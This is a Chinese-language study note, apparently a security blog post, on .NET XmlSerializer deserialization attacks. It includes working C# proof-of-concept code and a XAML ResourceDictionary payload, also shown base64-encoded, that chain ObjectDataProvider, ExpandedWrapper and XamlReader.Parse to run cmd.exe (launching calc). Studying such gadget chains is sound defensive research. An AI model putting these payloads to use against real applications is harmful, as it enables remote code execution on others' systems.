https://github.com/Y4er/dotnet-deserialization/blob/main/XmlSerializer.md
https://boogipop.com/2024/02/06/%E3%80%90.NET%20%E5%AE%89%E5%85%A8%E3%80%91ASP.NET%20XmlSerializer%20Deserialization%2002/
XmlSerializer 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 using System;using System.Collections.Generic;using System.IO;using System.Linq;using System.Text;using System.Threading.Tasks;using System.Xml.Serialization;namespace XmlDeserialization { [XmlRoot ] public class Person { [XmlElement ] public int Age { get ; set ; } [XmlElement ] public string Name { get ; set ; } [XmlArray("Items" ) ] public Order[] OrderedItems; [XmlAttribute ] public string ClassName { get ; set ; } } public class Order { public int OrderID; } class Program { static void Main (string [] args ) { Person p = new Person(); p.Name = "jack" ; p.Age = 12 ; Order order = new Order(); order.OrderID = 123 ; Order order1 = new Order(); order.OrderID = 456 ; Order[] orders = new Order[] { order, order1 }; p.OrderedItems = orders; p.ClassName = "classname" ; XmlSerializer xmlSerializer = new XmlSerializer(typeof (Person)); MemoryStream memoryStream = new MemoryStream(); TextWriter writer = new StreamWriter(memoryStream); xmlSerializer.Serialize(writer, p); memoryStream.Position = 0 ; Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray())); Person p1 = (Person)xmlSerializer.Deserialize(memoryStream); Console.WriteLine(p1.Name); Console.ReadKey(); } } }
xml里的参数其实问题不大 重点是关注序列化想要的条件
序列化类需要是public
需要个writer 将序列化的数据写入内存流中
XmlSerializer 得传参进去 参数是序列化类的类型
(不加的就是以二进制的形式进行传输 就是.bin文件)
输出结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0" encoding="utf-8"?> <Person xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ClassName="classname"> <Items> <Order> <OrderID>456</OrderID> </Order> <Order> <OrderID>0</OrderID> </Order> </Items> <Age>12</Age> <Name>jack</Name> </Person>
他会将我们的对象Object序列化为Xml文本格式,之后反序列化的话就会转换回Person类。 上述memory流对象在序列化后position会蹦到文件的末尾,我们需要给他调整为0再进行反序列化才行
ObjectDataProvider 这个类我们在01的时候介绍过 其就是可以直接调用到Process然后执行命令
(刚开始直接用的时候会报错 得导入包才行)
刚开始这里的时候会报错 说找不到这个包 ObjectDataProvider
就是在这个里面的 所以我们要手动导入一下
选择 PresentationFramework依赖 并且添加进去
回到正轨上 当我们直接执行上述代码时 calc命令是能直接执行成功 但是xml内容却不会输出出来
其实就是因为我们在初始化XmlSerializer
这个类的时候 确定的类型是ObjectDataProvider
但在序列化的时候却识别不出来ObjectDataProvider
所以就会导致报错 这样的话就不能反序列化执行了
我们可以使用ExpandedWrapper
类来解决这个问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 using System;using System.Diagnostics;using System.IO;using System.Text;using System.Windows.Data;using System.Xml.Serialization;using System.Data.Services.Internal;namespace XmlDeserialization { [XmlRoot ] public class Person { [XmlAttribute ] public string ClassName { get ; set ; } public void Evil (string cmd ) { Process process = new Process(); process.StartInfo.FileName = "cmd.exe" ; process.StartInfo.Arguments = "/c " + cmd; process.Start(); } } class Program { static void Main (string [] args ) { MemoryStream memoryStream = new MemoryStream(); TextWriter writer = new StreamWriter(memoryStream); ExpandedWrapper<Person, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<Person, ObjectDataProvider>(); expandedWrapper.ProjectedProperty0 = new ObjectDataProvider(); expandedWrapper.ProjectedProperty0.MethodName = "Evil" ; expandedWrapper.ProjectedProperty0.MethodParameters.Add("calc" ); expandedWrapper.ProjectedProperty0.ObjectInstance = new Person(); XmlSerializer xml = new XmlSerializer(typeof (ExpandedWrapper<Person, ObjectDataProvider>)); xml.Serialize(writer, expandedWrapper); string result = Encoding.UTF8.GetString(memoryStream.ToArray()); Console.WriteLine(result); memoryStream.Position = 0 ; xml.Deserialize(memoryStream); Console.ReadKey(); } } }
其实就是拿ExpandedWrapper这个类来进行包装 本质不变 变得就是这个Person里的Evil方法是我们手动添加的 但是在实际环境中是没有这种东西的 那么接下来我们就引出ResourceDictionary这个类
(其实看到这里这里就会发现ObjectDataProvider是可以调用任意类的任意方法的)
ResourceDictionary ResourceDictionary即资源字典,用于wpf开发,既然是wpf,肯定涉及到xaml语言。先来看利用ResourceDictionary执行命令的一个payload。
1 2 3 4 5 6 7 8 9 10 11 12 <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system" > <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start" > <ObjectDataProvider.MethodParameters> <b:String>cmd</b:String> <b:String>/c calc</b:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>
生成Demo(不是上诉payload的Demo 只是演示一下是咋生成的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 using System;using System.Collections.Specialized;using System.Diagnostics;using System.IO;using System.Reflection;using System.Text;using System.Windows;using System.Windows.Data;using System.Windows.Markup;using System.Xml.Serialization;namespace XmlDeserialize { public class Person { public string name = "Boogipop" ; } public class XmlDeserialize { public static void Main (string [] args ) { var objectDataProvider = new ObjectDataProvider(); var psi = new ProcessStartInfo(); psi.FileName = "calc" ; psi.Arguments = "test" ; StringDictionary dict = new StringDictionary(); psi.GetType().GetField("environmentVariables" , BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict); var p = new Process(); p.StartInfo = psi; objectDataProvider.MethodName = "Start" ; objectDataProvider.MethodParameters.Add("cmd.exe" ); objectDataProvider.MethodParameters.Add("/c calc.exe" ); objectDataProvider.ObjectInstance = p; var resourceDictionary = new ResourceDictionary(); resourceDictionary["a" ] = objectDataProvider; var payload = XamlWriter.Save(resourceDictionary); Console.WriteLine(payload); XamlReader.Parse(payload); } } }
解释下这段xaml:
xmlns:c 引用了System.Diagnostics命名空间起别名为c
d:Key=”” 起别名为空,在xaml语法中,Key这个键值必须有。
ObjectType表示对象类型
d:Type 等同于typeof()
MethodName是ObjectDataProvider的属性,传递一个Start等于调用Start方法。
c:Process 等同于System.Diagnostics.Process
整个xaml被解析之后,等同于创建了一个ObjectDataProvider对象,该对象又会自动调用System.Diagnostics.Process.Start("cmd.exe","/c calc")
因为是xaml的语言,我们使用XamlReader.Parse()来解析它
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 using System;using System.Text;using System.Windows.Markup;namespace XmlDeserialization { class Program { static void Main (string [] args ) { string p = "PFJlc291cmNlRGljdGlvbmFyeSAKICAgICAgICAgICAgICAgICAgICB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiAKICAgICAgICAgICAgICAgICAgICB4bWxuczpkPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCIgCiAgICAgICAgICAgICAgICAgICAgeG1sbnM6Yj0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiIAogICAgICAgICAgICAgICAgICAgIHhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+CiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIGQ6S2V5PSIiIE9iamVjdFR5cGU9IntkOlR5cGUgYzpQcm9jZXNzfSIgTWV0aG9kTmFtZT0iU3RhcnQiPgogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4KICAgICAgICAgICAgPGI6U3RyaW5nPmNtZDwvYjpTdHJpbmc+CiAgICAgICAgICAgIDxiOlN0cmluZz4vYyBjYWxjPC9iOlN0cmluZz4KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPgogICAgPC9PYmplY3REYXRhUHJvdmlkZXI+CjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pg==" ; byte [] vs = Convert.FromBase64String(p); string xml = Encoding.UTF8.GetString(vs); XmlDeserialize(xml); Console.ReadKey(); } public static void XmlDeserialize (string o ) { XamlReader.Parse(o); } } }
此时相当于我们利用XamlReader.Parse()进行了进一步利用,对于xmlserializer来说攻击链从原来的
ObjectDataProvider -> Person.Evil()
转变为
ObjectDataProvider -> XamlReader.Parse() -> ObjectDataProvider -> System.Diagnostics.Process.Start(“cmd.exe”,”/c calc”)
拿java来说ObjectDataProvider 更像是commons-collections的InvokerTransformer,可以调用任意类的任意方法。
总结 首先就是针对初始化时new XmlSerializer(type)
的type参数,如果type可控,就可以利用ObjectDataProvider调用XamlReader的Parse进行RCE。
当然也要关注XamlReader.Parse(xml)
中的xml是否可控。
这里的话我们是使用了ResourceDictionary和ExpanderWrapper去用泛型绕过类型的限制